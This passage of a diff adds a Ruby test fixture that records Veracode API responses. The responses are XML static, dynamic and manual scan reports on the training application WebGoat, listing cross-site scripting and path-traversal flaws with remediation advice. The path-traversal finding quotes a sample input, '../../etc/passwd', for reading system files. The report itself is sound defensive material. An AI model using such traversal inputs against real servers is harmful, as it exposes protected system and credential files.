+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:39 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:18:43 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:43 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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